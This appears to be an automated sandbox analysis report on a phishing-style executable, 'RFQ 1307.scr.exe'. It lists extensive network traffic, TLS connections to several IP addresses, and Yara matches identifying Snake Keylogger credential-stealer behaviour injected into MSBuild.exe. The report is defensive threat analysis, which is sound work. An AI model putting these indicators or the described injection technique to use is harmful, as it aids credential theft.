Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.159.36.18:443 -> 192.168.2.9:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.9:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49991 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.RFQ 1307.scr.exe.4469550.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.RFQ 1307.scr.exe.4469550.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.RFQ 1307.scr.exe.4469550.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RFQ 1307.scr.exe PID: 7540, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: MSBuild.exe PID: 7992, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: RFQ 1307.scr.exe

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Code function: 0_2_06386E5B	0_2_06386E5B
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Code function: 0_2_0164E220	0_2_0164E220
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Code function: 0_2_0164CE88	0_2_0164CE88
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Code function: 0_2_01648FF8	0_2_01648FF8
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Code function: 0_2_01649008	0_2_01649008
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Code function: 0_2_016496A0	0_2_016496A0
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Code function: 0_2_01649690	0_2_01649690
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Code function: 0_2_079C0036	0_2_079C0036
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Code function: 0_2_079C0025	0_2_079C0025
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Code function: 0_2_079C0040	0_2_079C0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0157C146	4_2_0157C146
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0157A0F1	4_2_0157A0F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01575370	4_2_01575370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0157D278	4_2_0157D278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0157C468	4_2_0157C468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0157C738	4_2_0157C738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0157E988	4_2_0157E988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_015769A0	4_2_015769A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01573B95	4_2_01573B95
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0157CA08	4_2_0157CA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0157CCD8	4_2_0157CCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01576FC8	4_2_01576FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0157CFA9	4_2_0157CFA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01573E09	4_2_01573E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0157E97A	4_2_0157E97A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_015729EC	4_2_015729EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0157FAD4	4_2_0157FAD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_01573AA1	4_2_01573AA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059361E8	4_2_059361E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05932D9A	4_2_05932D9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05934D98	4_2_05934D98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05934D89	4_2_05934D89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593C188	4_2_0593C188
